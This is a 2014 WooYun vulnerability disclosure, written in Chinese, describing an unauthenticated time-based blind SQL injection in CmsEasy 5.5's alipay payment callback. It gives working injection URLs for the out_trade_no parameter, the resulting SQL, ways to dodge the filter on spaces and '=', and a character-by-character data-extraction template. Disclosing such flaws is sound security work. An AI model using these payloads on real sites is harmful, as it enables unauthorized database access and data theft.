漏洞概要 关注数(13) 关注此漏洞
缺陷编号: WooYun-2014-76669
漏洞标题: cmseasy 再次绕过前台sql盲注(无需登录)
相关厂商: cmseasy
漏洞作者: menmen519
提交时间: 2014-09-21 12:46
公开时间: 2014-12-20 12:48
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 逻辑错误 安全意识不足 php源码审核 sql注射漏洞利用技巧 php源码分析 安全意识不足
漏洞详情
披露状态:
2014-09-21: 细节已通知厂商并且等待厂商处理中
2014-09-21: 厂商已经确认,细节仅向厂商公开
2014-09-24: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-11-15: 细节向核心白帽子及相关领域专家公开
2014-11-25: 细节向普通白帽子公开
2014-12-05: 细节向实习白帽子公开
2014-12-20: 细节向公众公开
简要描述:
cmseasy 再次绕过前台sql盲注(无需登录)
详细说明:
我们直接进入:
archive_act.php:(611-628):
然后 这个函数就流向了$payobj->respond()
我们跟进去看看:
alipay.php:(76-97):
这里有一个逻辑错误,就是判断post,如果存在就把post里面的参数全部复制给get,在赋值的过程中对其进行了特殊字符的转换,因为后续传递的参数都是来自$_GET,那我们直接就通过GET参数进行传参数,这里就直接绕过去了,而且这里传递过来的参数完全没有防御
它过滤了什么呢,前面有一个一位已经说明:
http://**.**.**.**/bugs/wooyun-2014-071091
这里就不赘述,但是修复后的逻辑错误仍然可以进行sql注入的盲注猜测
除了以上所描述的,前台get参数不能输入什么
1.空格
2.=号
由于这里后台执行的是一个select操作,举一个例子吧
select * from table where a = '20140'
由于mysql可以字符串和任何东西相乘法,我们就可以这样去触发一个条件查询
select * from table where a = '20140'*(这里就是我们的条件判断)#'
根据以上的思路我们发送url:
**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd
执行一次我们看看效果,从后台抓取sql语句:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0%27*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)' ORDER BY 1 desc limit 1
发现我们的#居然不见了,这个问题当然是浏览器url get请求的原因,他把后面当锚点了
那么我们在编码一下url:
**.**.**.**/CmsEasy_5.5_UTF-8_20140818_new/uploads/index.php?case=archive&act=respond&code=alipay&out_trade_no=20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd
抓取sql后台查看:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0%27*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)%23xxxxdddd' ORDER BY 1 desc limit 1
这里看到了吗,单引号,#号原封不动的encode,不过不要紧,浏览器默认做的事情,我们可以在后台curl发包,这里我直接用工具:
这里请求当然也就成功延迟(7秒钟)执行,如果觉得不明显可以改大benchmark里面的数字
我们抓取sql:
SELECT * FROM `cmseasy_p_orders` WHERE `id`='20140919161810-0'*if(ascii(substr((select/**/user()),1,1))in(114),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd' ORDER BY 1 desc limit 1
这个成功执行了,那我们怎么猜测数据:
'*if(ascii(substr((select/**/user()),1,1))in($NUM),benchmark(if(1,10000000,1),if(1,md5(1),1)),1)#xxxxdddd
其中这个$NUM就是我们可以控制的
ok!............................
漏洞证明:
修复方案:
版权声明:转载请注明来源 menmen519@乌云
漏洞回应
厂商回应:
危害等级:低
漏洞Rank:5
确认时间:2014-09-21 18:27
厂商回复:
感谢
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值